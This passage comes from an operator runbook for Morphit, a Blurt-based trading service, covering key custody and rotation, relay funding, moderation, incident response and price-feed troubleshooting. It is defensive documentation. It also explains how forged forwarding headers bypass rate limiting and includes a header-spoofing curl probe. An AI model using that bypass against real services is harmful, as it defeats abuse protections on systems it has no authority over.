A funding account on Blurt that is NOT @morphit-relay and NOT @morphit-fees. This account holds the weekly disbursement pool and its active key lives on paper, not on any server.
An accurate estimate of your weekly signup rate. Start conservative — 20 signups/week × (100 BLURT fee + 20 BLURT welcome + overhead) ≈ 2,500 BLURT/week.
A period during which you plan to run Morphit. The recurrent_transfer op takes a recurrence in hours and an executions count. Reasonable defaults: recurrence=168 (weekly), executions=52 (one year).

Procedure

On an air-gapped machine, load the funding account's active key. Use dblurt or any Blurt-compatible signer.

Build and sign a recurrent_transfer op:

[
  "recurrent_transfer",
  {
    "from":       "<funding-account>",
    "to":         "morphit-relay",
    "amount":     "2500.000 BLURT",
    "memo":       "morphit:weekly-topup",
    "recurrence": 168,
    "executions": 52,
    "extensions": []
  }
]

Broadcast the signed tx from the air-gapped machine to a Blurt RPC node (transfer the raw hex over sneakernet or QR code; never plug the air-gapped machine into a network).
Immediately power down the air-gapped machine and lock the funding account's active-key paper back in the safe.
Note the transaction ID in your operator journal along with the amount and end date. Set a calendar reminder for 11 months ahead to renew.

Verifying the transfer is live

On any Blurt RPC, call condenser_api.find_recurrent_transfers with the funding account name. You should see the new recurrent_transfer with remaining_executions counting down weekly.

Stopping the recurrent transfer early

Broadcast another recurrent_transfer op with the same from and to and amount = "0.000 BLURT". Blurt interprets a zero recurrent_transfer as a cancellation.

2. Relay account funding — the weekly ACT minting ceremony is REMOVED

This ceremony no longer exists (beta.28). Blurt disabled claim_account / create_claimed_account at hard fork 2, so there are no Account Creation Tokens to mint. The relay now creates each account with a direct account_create op, paying the ~100 BLURT account_creation_fee inline from its liquid BLURT (ADR-0010, as amended 2026-06). There is no mint-acts.ts script, no weekly timer, and no MORPHIT_RELAY_AUTOMINT_* config — if you are upgrading from an older deploy, remove the morphit-relay-mint-acts.service/.timer units and any MORPHIT_RELAY_AUTOMINT_* / MORPHIT_RELAY_WEEKLY_ACT_COUNT lines from relay.env.

What this means for you as an operator: keep @morphit-relay funded with enough liquid BLURT to cover signups — roughly one week of (≈100 BLURT creation fee + 2 BLURT dust + the welcome bonus per completed-trade signup). See §0a for the funding math and §16 for the low-balance Matrix alert (relay_low_balance_for_signups). The relay refuses signups (relay_out_of_funds) when its liquid balance can't cover the fee + a small margin, and recovers automatically the moment you top it up.

3. Relay reboot

The relay's active key is held in process memory only (ADR-0010 §4). The key file on disk is an encrypted envelope; its passphrase is supplied at boot by a systemd encrypted credential, so after a reboot (planned or unplanned) the relay unlocks the key and restarts unattended — no operator needs to type anything. (See the Prerequisites below for the one-time credential setup; the same steps appear in RUN-A-MORPHIT-NODE.md "Set up systemd services" for a fresh install.)

In-memory key handling (2026-05-07 audit)

For operators reasoning about the threat model: when the relay decrypts its active-key envelope at boot, the scrypt-derived KDF key and the intermediate plaintext Buffer are explicitly zeroed in a finally block after use (see apps/relay/src/crypto/keyEnvelope.ts:decryptEnvelope). The key-envelope-smoke.ts runner enforces this discipline against regressions — both the encrypt and decrypt paths must contain finally { key.fill(0); ... } or the smoke fails.

Residual surface (honest disclosure): the decrypted WIF is returned as a JS string and then stored in the in-memory UnlockedConfig. JS strings are immutable and cannot be zeroed; they live until V8 garbage collection or process exit. This is intentional for the relay's persistent-signer role — it needs to sign account_create ops continuously. An attacker who achieves process-memory read access on the relay host can extract the WIF; this is the threat the file-system permissions (0400 owner-only)

§37 server hardening + the encrypted-credential key unlock are designed to defend against. There is no JS-level mitigation for the immutable-string residue beyond the existing host-level defenses.

No operator action required for this audit. The hardening fixes are entirely in-process; existing key files, envelopes, and passphrases continue to work unchanged. The guarantees you had before this audit are still in place; the audit added defensive zeroing for previously-unzeroed intermediate key material in the KDF derivation step.

Prerequisites (one-time setup)

The key file must be an encrypted envelope produced by apps/relay/scripts/encrypt-active-key.ts. If you're still running with a plaintext WIF file (dev / legacy), migrate now:

cd /opt/morphit/apps/relay
tsx apps/relay/scripts/encrypt-active-key.ts \
  /etc/morphit/keys/relay-active.key \
  /etc/morphit/keys/relay-active.enc

You'll be prompted for the passphrase twice. Choose something you'll remember — there is no reset. Store it in your password manager.

Then update the relay's env to point at the new file:

# /etc/morphit/relay.env
MORPHIT_RELAY_ACTIVE_KEY_FILE=/etc/morphit/keys/relay-active.enc

Then create the systemd encrypted credential that unlocks the envelope at boot — this is what the shipped morphit-relay.service requires (it will not start without it):

echo -n 'your-passphrase' | sudo systemd-creds encrypt \
  --name=relay_passphrase - /etc/morphit/relay_passphrase.cred
sudo chmod 0600 /etc/morphit/relay_passphrase.cred

systemd-creds binds the credential to this host's key (and the TPM, if present): it auto-decrypts on every start, so the relay comes up unattended, and the file is useless if copied off the machine. The relay unit's LoadCredentialEncrypted=relay_passphrase:… hands the decrypted value to the process as a tmpfs file via MORPHIT_RELAY_ACTIVE_KEY_PASSPHRASE_FILE — the passphrase never touches persistent disk in cleartext and never appears in the process environment.

Verify by restarting the relay (sudo systemctl restart morphit-relay) and confirming it reaches active (running) and serves /v1/health with no prompt. Once it unlocks successfully, securely destroy any remaining plaintext key:

sudo shred -u /etc/morphit/keys/relay-active.key

Planned reboot

Notify the operator-on-call channel before rebooting.
sudo systemctl stop morphit-relay.service — this pauses the queue drainer. In-flight welcome bonuses finish; the queue stays on disk.
Reboot.
The enabled morphit-relay.service starts automatically on boot: systemd decrypts the credential, the relay unlocks its key into memory, and normal operation resumes — nothing to type. (If you'd disabled the unit, start it manually with sudo systemctl start morphit-relay.service.)
Check systemctl status morphit-relay.service — should be active (running).
Check /v1/health — should report status: ok within a minute.

Unplanned reboot (systemd crash, kernel panic, VPS

migration)

Same as above but skip the pre-notification. The queue drainer can be down for hours without user-visible impact: pending bonuses land eventually, new signups route to the normal signup endpoint which doesn't require the drainer.

Forgot the passphrase

See section 8 (owner-key rotation). You'll need to rotate the active key from paper backup.

4. Responding to a witness fee change alert

The indexer emits a [witness-fee] fee_changed log record when it observes a change in Blurt's account_creation_fee. The listing fee formula (ADR-0011) auto-adjusts; the alert is informational.

To grep for this specifically in journalctl:

sudo journalctl -u morphit-indexer.service | grep '\[witness-fee\] fee_changed'

When logs are in JSON mode (MORPHIT_LOG_FORMAT=json):

sudo journalctl -u morphit-indexer.service \
  | jq 'select(.module=="witness-fee" and .event=="fee_changed")'

What to check

Look at the new fee vs. old. A change of ±5% is normal witness adjustment; ±50% is unusual and worth investigating.
Check witness-governance channels (Blurt Discord, forum) for discussion of the change.
Re-evaluate Morphit's listing fee.

Note (2026-05-09 docs-fidelity audit): Earlier versions of this doc referenced MORPHIT_INDEXER_LISTING_FEE_AMORTIZATION_FACTOR and MORPHIT_INDEXER_LISTING_FEE_OPERATIONAL_MARGIN_BLURT as the formula coefficients to adjust. Those env vars are not in the current code — they were part of the USD-anchored fee model superseded by ADR-0011's BLURT- native amendment (Part 90).

In the BLURT-native model, the listing fee is set directly by MORPHIT_INDEXER_FEE_BASE_BLURT (default 125). No amortization formula, no operational margin — the operator picks a flat BLURT amount per their tolerance.

So the runbook step is now: review the chain's new account-creation fee, decide whether your current MORPHIT_INDEXER_FEE_BASE_BLURT still covers the account-creation cost (relay-funded) plus your operational margin in BLURT terms, and adjust if needed. Restart the indexer to pick up the new value.
If the new fee makes Morphit unsustainable at your current signup rate, consider:
- Raising MORPHIT_INDEXER_FEE_BASE_BLURT directly.
- Suspending new signups via nginx while you negotiate with the community.
- Posting a transparency update on the Morphit Blurt community.

Don't do

Don't panic-adjust the fee mid-hour. The indexer's hourly poll gives you time to think.
Don't raise MORPHIT_INDEXER_FEE_BASE_BLURT more than 2x in a single change without a community conversation — that makes new-user onboarding meaningfully more expensive and surprises users mid-session.

5. Responding to a relay-queue-stuck alert

If you notice rows in relay_pending_transfers with error_count near the queueMaxRetries ceiling (default 3), something is stuck.

Inspect the queue

SELECT id, recipient, kind, amount_blurt, reason,
       error_count, last_error, last_error_at, created_at
  FROM relay_pending_transfers
 WHERE broadcast_at IS NULL AND error_count >= 3  -- a stuck row sits at exactly queueMaxRetries (default 3)
 ORDER BY error_count DESC, created_at ASC;

Common causes:

Recipient account doesn't exist on chain. Usually means the account was created but then deleted/never funded, or a bad recipient landed in the queue from a handler bug. Action: manually null this row's broadcast_at to something non-NULL (e.g. NOW()) with broadcast_trx_id='manual-skip' — the drainer will leave it alone.
Relay has no BLURT to fund the transfer. Check the relay's balance on blocks.blurtwallet.com. If it's under the week's expected disbursement (20 BLURT × pending rows), top up from the funding account's paper active key.
All RPC endpoints unreachable. Rare. Check /v1/health on the relay; if it reports stale=true, investigate network/DNS to the Blurt RPCs.

Don't do

Don't re-queue a row by decrementing error_count. The row is stuck for a reason — fix the root cause first, then either zero error_count (the drainer will retry) or leave it and let the operator pick it up manually.

Not yet implemented as an automated alert, but the mechanism is documented in ADR-0010 §4. Watch relay logs for unusual signup rates: legitimate growth is gradual; a 10× spike in an hour is not.

Check first

Is this actual growth? A Reddit/HN mention can legitimately cause a spike. Look at Morphit's Blurt community for signs of organic interest.
Are the signups coming from distinct IP addresses, or is one IP making many requests? Nginx's error_log shows the per-IP rate-limit rejections.

If it's abuse

Temporarily tighten nginx's limit_req for /v1/account/create to 1/day per IP. Reload nginx.
Check relay_pending_transfers for signup-dust entries from suspicious-looking accounts. Investigate patterns (shared creator, sequential timestamps).
If damage has been done (e.g., N fake accounts burned through the relay's BLURT), don't panic — wait for the pattern to die down. The relay pauses signups cleanly when its balance can't cover the fee.

If it's genuine growth

Top up the relay's liquid BLURT (§0a / §1).
Consider raising the MORPHIT_RELAY_CREATE_RATE_PER_DAY temporarily to avoid false positives on enthusiastic users who complete a form multiple times.

6a. Moderating accounts — reviewing flags and blocking

The indexer raises two account-level abuse signals as it follows the chain:

suspicious_reciprocity (Self-trade Signal B) — two accounts mutually exchanging high-star reviews with no other counterparties (a likely self-trade ring inflating reputation).
related_accounts (Self-trade Signal A) — accounts created in close temporal proximity by the same creator.

A flag is a signal, not a verdict. Investigate before acting — many legitimate users review each other or sign up together.

Reviewing flags

morphit-ops moderation              # last 7d, both signals
morphit-ops moderation --since=30d  # wider window
morphit-ops moderation --type=related
morphit-ops moderation --json       # machine-readable, no prompt

Or run bare morphit-ops on a terminal and pick Moderation — review flags & block accounts from the menu. The menu also shows a ⚠ N to review marker next to that item when there are recent flags with no block applied to either named account.

The screen lists each flag annotated with the involved accounts' current block status ([BLOCKED]). On an interactive terminal it then offers block/unblock as the resolution action.

Blocking an account (instance-local)

morphit-ops block <account> "optional reason"
morphit-ops unblock <account>

Blocking is instance-local and reversible. It is NOT a chain ban and requires no posting key — nothing is broadcast. It records a row in operator_blocks (origin local) that hides the account's listings everywhere this instance serves them:

the public orderbook (/v1/orderbook)
the per-account view (/v1/orders/:account)
featured slots, the RSS feeds, and the live SSE stream
the instance's own derived morphit_native / depeg price feeds (a blocked seller's orders are dropped from the median, so they can't move the price your instance computes from its orderbook)

What blocking does NOT do:

It does not touch the account's BLURT, BTC, XMR, or any funds.
It does not affect the account on the Blurt chain.
It does not follow the account to other Morphit instances — the whole point of federation is that another operator can serve a user you've blocked, and vice-versa. Your block applies to your instance only.

A blocked user who visits your instance sees a banner explaining that their posts are blocked on this instance, that they remain visible on every other Morphit instance, and a link to the Agorise Matrix room to appeal. The optional reason you pass is shown to them.

Fees: a listing fee already paid (BLURT/BTC/XMR) is not refunded on block — the fee bought a listing that is now hidden here but still visible on other instances. Blocking is a curation choice, not a billing action.

The legacy morphit-ops abuse (broadcast failures + signals, 24h) and morphit-ops flags (signals + evidence) subcommands remain available from the CLI for scripting/JSON, but the menu now routes moderation through the unified screen above.

7. Suspected relay compromise

If you have reason to believe the relay VM has been compromised (unexpected outbound connections, unknown processes, missing files, sudo audit weirdness):

Stop the bleeding — in order

Immediately: sudo systemctl stop morphit-relay.service. This flushes the active key from memory. Any attacker who was reading memory just lost their prize.
Within 5 minutes: revoke the weekly recurrent_transfer from the funding account (section 1 "Stopping the recurrent transfer early"). The funding account's active key is on paper — you'll need to do this from an air-gapped machine or trusted workstation. Requires you to leave the relay host.
Within 30 minutes: check the @morphit-relay account on chain for unauthorized transfers. If anything moved to an unknown account, you were compromised.

Key rotation — within 24h

See section 8. You must rotate @morphit-relay's active key (and consider owner key) from paper backup. The old key is presumed exfiltrated.

Don't do

Don't delete logs. You want them for forensics.
Don't restart the service with the old key. If a key is suspected compromised, rotate before returning to service.

8. Owner-key rotation ceremony

This is a rare, high-stakes operation. Only do it when:

An active key has been suspected compromised and you've rotated the active key from paper (simple case).
An owner key itself has been suspected compromised (much harder — requires the recovery-account flow).

The active-key-only rotation is simpler and more common. I'll document that; owner rotation is out of scope for this runbook because the ceremony requires the second physical keyholder (Blurt's recovery-account mechanism) and cannot be done alone.

Active-key rotation (owner key is safe)

Precondition: you have the paper-backed owner key for @morphit-relay, and a new paper active key you just generated offline.

On an air-gapped machine, generate a new active key and write down its WIF + pubkey on a fresh sheet of paper. Burn the intermediate digital copies.

On the same air-gapped machine, build and sign an account_update op using the owner key:

[
  "account_update",
  {
    "account": "morphit-relay",
    "active": {
      "weight_threshold": 1,
      "account_auths": [],
      "key_auths": [["<new-active-pubkey>", 1]]
    },
    "memo_key": "<unchanged>",
    "json_metadata": ""
  }
]

Sneakernet the signed tx to a networked machine and broadcast. Verify on chain that @morphit-relay's active authority now points to the new pubkey.

On the relay host, encrypt the new WIF into an envelope:

cd /opt/morphit/apps/relay
# Write the new WIF to a temporary file (memory-only ideally,
# or tmpfs-backed /run if your host has one):
echo "<new-wif>" > /run/relay-active.tmp
chmod 0400 /run/relay-active.tmp
tsx apps/relay/scripts/encrypt-active-key.ts \
  /run/relay-active.tmp \
  /etc/morphit/keys/relay-active.enc.new
sudo shred -u /run/relay-active.tmp

The .new suffix prevents a race if the relay is still running with the old envelope.

Atomically swap the envelope file into place:

sudo mv /etc/morphit/keys/relay-active.enc.new \
        /etc/morphit/keys/relay-active.enc

Restart the relay (you'll need to enter the passphrase you chose in step 4 when it prompts). Verify /v1/health returns OK and the queue drainer runs a cycle successfully.
Securely destroy the old active-key paper backup. Shred or burn.
Update your operator journal: date, reason, new pubkey fingerprint (first 8 + last 4 chars of the base58 string).

What NOT to do during rotation

Don't generate keys on a networked machine. Ever.
Don't email the new WIF. Don't put it on any sync service.
Don't skip step 6. Old paper + fresh paper = two attack surfaces when only one is current.

9. Paper-key backup protocol

For @morphit, @morphit-relay, and @morphit-fees owner keys, and for the funding account's active key:

Creation

Generate on an air-gapped machine.
Print (not write) to paper — handwriting errors are common.
Include a checksum or fingerprint on the paper so the paper's integrity can be verified without decoding the full key.
Two copies minimum. Each in a physically separate location (e.g., your safe + a trusted agent's safe).

Storage

Fire-resistant safe (UL Class 350 or better).
Not in plain view.
Not in a safety-deposit box where the institution could be compelled to open it without your knowledge.

Periodic check

Every 6 months: verify both copies exist and are legible. DO NOT photograph them or bring them near any internet-connected device.

Destruction

When rotating keys, destroy the old paper within 24h of the rotation broadcast being confirmed on chain.
Shred at DIN P-7 or burn. A cross-cut shredder at P-4 is not enough for cryptographic material.

10. Escalation

If you encounter something this runbook doesn't cover:

Post in the Morphit Blurt community with [OPERATOR] in the title. Other operators can advise.
For cryptography-level questions (a chain attack, an unexpected behavior in dblurt, etc.), the Blurt witness community on Discord is knowledgeable and responsive.
For nothing is working and you need to bail out: pause the relay at nginx (return 503 for /v1/account/create) and post a notice on the Morphit community Blurt account. The indexer can run independently; users can still view the orderbook and chat. New signups pause gracefully.

The whole point of Morphit's architecture is that nothing is lost when the relay is down. Take the time you need to think.

11. Running integration tests

Unit tests run without external dependencies — npm test works on any developer machine. Integration tests additionally exercise real Postgres semantics (UPSERT row locks, predicate correctness, JSON operators, etc.) and only run when a test database is available.

When to run

Before any release that touches:

Migration SQL (any schema-v*.sql file)
Concurrent-path SQL (UPSERT, RETURNING, SELECT FOR UPDATE)
Aggregations that feed into other queries in the same transaction (e.g. the loyalty module's SUM(bp_rewarded))
Anything where "works on a mock client" isn't enough evidence

Concretely: all of Phase 4c (trackVerifiedBlurtFee), the fee attestation handler's COUNT(DISTINCT attestor) logic, and any future handler that compounds state across multiple statements.

Prerequisites

A Postgres 15+ instance you don't mind dropping schemas in
The running user has CREATE SCHEMA and DROP SCHEMA CASCADE privileges
No other Morphit tests pointed at the same database (each test suite creates its own schema, but dropping the DB while tests run is still destructive)

You can use a local Docker container:

docker run --rm -d --name morphit-test-pg \
  -e POSTGRES_PASSWORD=test \
  -e POSTGRES_DB=morphit_test \
  -p 5433:5432 \
  postgres:15

Running

cd apps/indexer
export TEST_DATABASE_URL='postgres://postgres:test@localhost:5433/morphit_test'
npm test

Tests gated by the harness INTEGRATION_ENABLED flag will run; the rest run as usual. Without TEST_DATABASE_URL set, those suites print "skipped" and the suite still passes — the default developer workflow stays fast.

What to watch for

Schema leaks — teardown runs in afterAll; if a test crashes before afterAll, its schema remains. Safe to manually clean up with psql -c "DROP SCHEMA morphit_test_* CASCADE" periodically.
Shared connection pool — the harness creates one pg.Pool per suite. Long-running CI across many suites consumes file descriptors; set Postgres max_connections generously.
TEST_DATABASE_URL vs DATABASE_URL — these are separate. Never point TEST_DATABASE_URL at your production database. The harness drops schemas by name; a misconfigured env var could destroy real data.

First-run verification

The concurrent-write test in test/integration/loyalty.test.ts is the canary for Phase 4c. If it passes on your database, the UPSERT + SUM path is serializing correctly on your Postgres installation's isolation level. If it fails with "lost writes" or "duplicate milestones", open an issue — do not ship.

12. XMR viewkey pre-deploy check (retired)

This section previously documented a verify-xmr-viewkey.ts helper script for sanity-checking a (XMR address, view key) pair against a real test transaction.

The script has been retired. Part 108++ replaced view- key-based XMR fee verification with per-payment proofs, and Part 109 removed the MORPHIT_INDEXER_XMR_FEE_VIEWKEY env var entirely. No view key lives on any Morphit indexer's box. There is no (address, viewkey) pair to sanity-check because there is no view key.

What to do instead — verifying your XMR fee address is correctly configured:

After setting MORPHIT_INDEXER_XMR_FEE_ADDRESS, restart the indexer.
Query /v1/release and confirm the returned treasury.xmr.address matches what you configured.
Ask a trusted contact to send a small amount of XMR to your fee address and generate a tx_proof from their own wallet (get_tx_proof <txid> <address> in monero-wallet- cli, or the equivalent menu item in any modern Monero wallet).
Submit the txid + proof through the public Morphit UI the same way a real user would. If the order verifies, your config is correct.

This end-to-end check exercises the exact code path users will hit. Misconfiguration surfaces immediately and looks the same as a real-user error — no operator-only diagnostic mode needed.

13. Responding to a stale BLURT/USD price feed

Under Phase 5, the indexer runs a composite BLURT/USD price source: an outlier-rejected median across several external feeds (Coingecko, CoinPaprika, CryptoCompare, and — for assets they list — Kraken/Binance/Coinbase/OKX/Bybit and the optional key-gated CoinCap/Messari), then morphit_native, then the static floor. Values refresh every 5 minutes in the background. When every upstream fails, the indexer keeps serving the last good value with stale=true. If no upstream has ever succeeded since boot, it falls back to the static floor (MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR). For BLURT specifically, Blurt's own api.blurt.blog/price_info feed is an authoritative PRIMARY tier tried before this median — when it answers plausibly it sets the BLURT price directly, and the median and lower tiers are only its fallback (see the cp425 / cp604 note below).

cp128 update — denomination is operator-configurable: by default the BLURT price echo on /v1/listing-fee is expressed in USD. Operators serving non-USD markets (or hedging against USD erosion / petrodollar collapse) can set MORPHIT_INDEXER_PRICE_FEED_DENOMINATION_FIAT to any 3-8 character uppercase ticker — EUR, GBP, JPY, BRL, CNY, INR, RUB, AED, XDR (IMF Special Drawing Rights basket), XAU (gold ounces, hard-currency hedge), etc. The listing-fee endpoint then returns a denomination_fiat field telling frontends which unit the blurt_price_fiat and base_fee_fiat values are expressed in. This is purely a display-side change; order matching and on-chain fees are unaffected. See ADR-0040.

cp129 update — Defense F cross-instance peer disagreement detector: opt-in via MORPHIT_INDEXER_PEER_PRICE_MONITOR_ENABLED=true. When on, the indexer periodically (every 30 min) queries peer Morphit instances' /v1/price/morphit-native/receipt and alerts on sustained disagreement >25% for >4 hours. Catches the case where YOUR indexer is reporting a different price than the rest of the federation (operator pressured, captured, compromised, or geographically isolated). Requires ≥3 reachable peers in /v1/instances with last_probe_status good/quiet; below that the monitor degrades silently to no-alert. Alerts surface in peer_price_disagreement_alert log entries with the deviation percentage, peer median, and your own price. Investigation runbook: see "Responding to a peer-price-disagreement alert" below. See ADR-0041.

cp130 update — multi-asset morphit_native (BTC + XMR added alongside BLURT): when the price feed is enabled, the indexer now creates three independent composite price sources at boot — one per asset. Every asset (BLURT, BTC, XMR) prices from the same tiered design: an outlier-rejected median across several external feeds, then morphit_native, then the static floor. Klingex, the former BLURT-only upstream, went out of business in 2026 and was removed; rather than fall back to a single replacement, the external tier now averages many independent feeds (Coingecko + CoinPaprika + CryptoCompare for every asset; plus Kraken/Binance/Coinbase/OKX/Bybit where the asset is listed; plus CoinLore and the key-gated CoinCap/Messari when configured). A single provider banning us, rate-limiting us, or returning a bad number can no longer move the published price — any feed that returns nothing is simply dropped from the median. Each source has its own cache and refresh schedule. Two new env vars set per-asset static floors: MORPHIT_INDEXER_PRICE_FEED_BTC_STATIC_FLOOR (default 64700) and MORPHIT_INDEXER_PRICE_FEED_XMR_STATIC_FLOOR (default 333). The cp129 peer-price monitor now spawns one instance per asset, so disagreement on BTC alerts separately from disagreement on BLURT — and each asset is sampled independently from peers. Receipt endpoint /v1/price/morphit-native/receipt?asset=BTC returns a real BTC/USD derivation operators can inspect. See ADR-0042.

cp425 / cp604 update — api.blurt.blog/price_info is the PRIMARY BLURT/USD source of truth: for BLURT, the indexer reads Blurt's own api.blurt.blog/price_info feed (configurable via MORPHIT_INDEXER_BLURT_PRICE_FEED_URL, default https://api.blurt.blog/price_info; set it empty to opt out) first, every cycle — and whenever it returns a plausible value, that value IS the published BLURT price, and the external CEX aggregators are not queried that cycle. It's a self-sovereign, non-CEX source that fits Morphit's decentralization priority. Only when the Blurt feed is down or returns an implausible number does the indexer fall back, in order, to the outlier-rejected median across the external aggregators (Coingecko / CoinPaprika / CryptoCompare, plus the listed CEXes), then morphit_native, then the static floor. This primary-first behavior is BLURT-only and USD-only (the feed quotes BLURT/USD); BTC and XMR still take the aggregator median as their primary tier. If you firewall the indexer's outbound traffic, allow api.blurt.blog alongside the other price hosts. The feed appears as blurt_price_feed in the morphit-ops health per-source list — normally the committed-source row. Effective fallback for staleness is unchanged: when the primary and the aggregators are all temporarily down, the indexer keeps serving the last committed value (stale=true), not the static floor — the static floor only applies at cold-start before any source has ever answered.

Responding to a peer-price-disagreement alert

If you see a peer_price_disagreement_alert event in the indexer logs, the cp129 peer-price monitor has detected that your indexer's derived BLURT price has been diverging from the peer median by more than 25% for sustained 4+ hours. This is a warning signal, not a hard failure — your instance keeps serving prices as normal.

The questions to investigate, in order:

Is your morphit_native fetcher healthy? Check /v1/price/morphit-native/receipt on your instance. Look at derived_price, tier_used, contributing_traders. If the tier is unexpected (e.g. you expected Tier 1 USD-direct but got Tier 3 hybrid), some trader population shifted.
What are peers reporting? Pick a few from /v1/instances and hit their /v1/price/morphit-native/receipt directly. Compare their numbers and contributing-trader sets to yours.
Is there genuine market dislocation? Check Coingecko for BLURT/USD. If both external sources agree with peers but your indexer's native fetcher disagrees, it's your instance. If externals agree WITH your native price but disagree with peers, it's the peers (look for whether peers might be on a stale price-source state).
Has someone manipulated your on-platform data? This is the threat the alert exists for. Check recent verified-fee orders for unusual patterns: new traders posting abnormally-priced BLURT-vs-fiat orders, large concentrated positions, etc. The cp127 sybil filters should have caught most of this; an alert that survives the filters might mean a new attack pattern.
Are you in a peer-poor segment? Geographic or network- isolation scenarios can produce false alerts because your sample of "peers" is itself non-representative. Check that you have ≥3 peers reachable across diverse networks (not all on the same hosting provider, not all on Tor only, etc.).

If the alert is a false positive (after investigation, your price is correct and peers are wrong): the alert auto-suppresses for 24h after firing, then re-fires if disagreement persists. You can also temporarily set MORPHIT_INDEXER_PEER_PRICE_MONITOR_ENABLED=false and restart; this stops querying peers entirely. Re-enable once the underlying situation resolves.

If the alert is a true positive (your indexer is wrong): pause fee acceptance until you've identified the root cause; users trading against bad price displays could be misled about value. Investigate as above; possibly restart with the price feed disabled (MORPHIT_INDEXER_PRICE_FEED_ENABLED=false) so your instance falls back to the static floor while you fix things.

cp127 update — self-sovereign price source (morphit_native): once your instance has enough on-platform trading volume, you can flip on MORPHIT_INDEXER_PRICE_FEED_NATIVE_ENABLED=true to add a new upstream slotted BETWEEN coingecko and the static floor. The native fetcher derives BLURT/USD from real verified- fee on-platform orders and survives external-feed outages entirely (Coingecko rate-limits or outages, etc.). See ADR-0039 for full design and /v1/price/morphit-native/receipt for live operator-side inspection of what it's producing. Defaults to OFF so a brand-new instance with zero trade history doesn't try to derive from empty data.

Quick action: if you just need to update the static floor during an outage, set MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR in your SystemD Environment= directive (or wherever your deployment manages env vars) and restart the indexer. The runbook below is for when you also want to investigate why the upstreams are failing.

When to investigate

/v1/health?verbose=1 reports diagnostics.price.stale=true
/v1/health?verbose=1 reports diagnostics.price.source as static_floor while MORPHIT_INDEXER_PRICE_FEED_ENABLED=true (means no price source — the primary Blurt feed, the aggregator median, or morphit_native — has succeeded since boot, so the indexer is falling back to MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR)
Log aggregator shows repeated [price] all_upstreams_failed_serving_cache or all_upstreams_failed_no_cache_serving_floor events from the indexer
Users report fee quotes that seem out of line with live BLURT price

Quick diagnosis

Query the verbose health endpoint:

curl -s http://localhost:PORT/v1/health?verbose=1 | jq .diagnostics.price

Example healthy output:

{
  "blurt_usd": 0.00423,
  "source": "blurt_price_feed",
  "updated_at": "2026-04-20T12:35:00.000Z",
  "stale": false
}

Example stale output (upstream is down, cache is aging):

{
  "blurt_usd": 0.00423,
  "source": "coingecko",
  "updated_at": "2026-04-20T10:00:00.000Z",
  "stale": true
}

Example all-upstreams-failed-since-boot:

{
  "blurt_usd": 0.002,
  "source": "static_floor",
  "updated_at": "1970-01-01T00:00:00.000Z",
  "stale": true
}

What to check

Is the price actually wrong? The static_floor is your MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR — if you've kept that reasonably close to market, stale behavior is not user-visible as incorrect fees.
Is Coingecko reachable + not rate-limited?
```
curl -fsS --max-time 5 "$MORPHIT_INDEXER_COINGECKO_BASE_URL/simple/price?ids=blurt&vs_currencies=usd"
```
A 429 response means you're rate-limited; the free tier allows ~10-30 req/min shared across all callers from your IP. With a 5-minute refresh this should be comfortable, but a shared IP (NAT, proxy) can exhaust it. The price is a median across many external feeds now (Klingex, the former BLURT primary, went out of business in 2026), so one feed rate-limiting or going down just drops it from the median; if ALL external feeds fail the indexer serves the last cached price, then the static floor.
Has the Coingecko API shape drifted? Our Coingecko fetcher tries several field names defensively, but a wholesale rename could surface as unexpected_shape log events. Open a bug with the current endpoint's JSON payload and we'll extend the parser.

Immediate mitigation

If the feed is stale and you need the live price reflected in listing-fee quotes right now, adjust MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR to match current market and restart the indexer. The static floor becomes the served value immediately. Revert to the live feed once the upstream is back up — there's no penalty for overriding temporarily.

Don't do

Don't remove the static floor entirely. It exists so the indexer never hard-fails on a price lookup; without it, a total-upstream-outage would break fee verification entirely.
Don't raise MORPHIT_INDEXER_PRICE_REFRESH_INTERVAL_MS to reduce traffic during an outage. The upstreams don't call you back when they recover — a longer interval just means longer staleness when they do.
Don't switch MORPHIT_INDEXER_PRICE_FEED_ENABLED to false permanently "because it's simpler." The composite chain self-heals; static drifts from market and produces user-complaint fees within weeks.

Consistency guarantee

The same priceSource.current() value is used for both the quote at /v1/listing-fee AND fee-verification in the order handler. So even during a stale episode, a user who pays the quoted fee verifies correctly — you just may be quoting prices slightly off market. Stale is a UX quality issue, not a correctness bug.

14. Deployment topology requirement — apps MUST be behind a loopback proxy

The indexer and relay rate-limiters derive the client IP from forwarded-address headers (X-Real-IP, X-Forwarded-For) only when the immediate socket peer is a loopback address. This is a security property (preventing rate-limit bypass via forged headers) and it dictates a deployment requirement:

The indexer and relay MUST NOT be exposed directly to the public internet. They MUST be reached only through an nginx (or equivalent) reverse proxy running on the same host.

Why this matters

If a user can connect directly to port 8080 (the relay) or the indexer's listen port, they can send arbitrary X-Real-IP / X-Forwarded-For headers. Before the fix shipped for Findings B + E (April 2026), forwarded headers were honored unconditionally — a direct connection could forge a fresh IP per request and bypass the rate limiter.

The fix now discards forwarded headers from non-loopback peers. This closes the vulnerability only if the deployment actually fronts the apps with a loopback proxy. If you deploy the apps directly on a public port, the socket peer will be the real attacker IP and the rate limit will work correctly — but every attacker shares one bucket per IP, so a botnet spread across thousands of IPs would still bypass the limiter. A proxy-fronted deployment is what the system is designed for.

Verification procedure (do this during setup)

# From a machine that is NOT the app host, try to reach
# the app directly.  Replace <PORT> with the indexer's
# listen port (default 8081) when probing /v1/health, or
# the relay's listen port (default 8080) for relay
# endpoints.  Replace <host> with the server's public IP
# or hostname.
curl -v -H "X-Real-IP: 1.2.3.4" http://<host>:<PORT>/v1/health

Expected outcome: connection refused or times out. If you get a response, the app is reachable directly and your deployment is vulnerable. Fix by binding the app to 127.0.0.1 only:

Indexer: MORPHIT_INDEXER_LISTEN_HOST=127.0.0.1 in the systemd service env file.
Relay: bind 127.0.0.1:8080 in the relay config (see apps/relay/src/main.ts and its config).
Firewall: ufw deny 8080 && ufw deny 8081 as defense-in-depth against misconfiguration.

Spot-check during operation

The reference deployment (nginx on same host, apps bound to loopback) keeps the invariant automatically. If you ever move nginx off-host or add a CDN in front, update the app's LOOPBACK_PEERS allowlist in both apps/relay/src/middleware/ip.ts and apps/indexer/src/api/middleware/ratelimit.ts to include the proxy's source IP. Don't skip this — the current hardcoded ['127.0.0.1', '::1', '::ffff:127.0.0.1'] is correct for the reference deployment but wrong for off-host-proxy deployments.

Recommended single-hostname layout (zero DNS for relay/indexer)

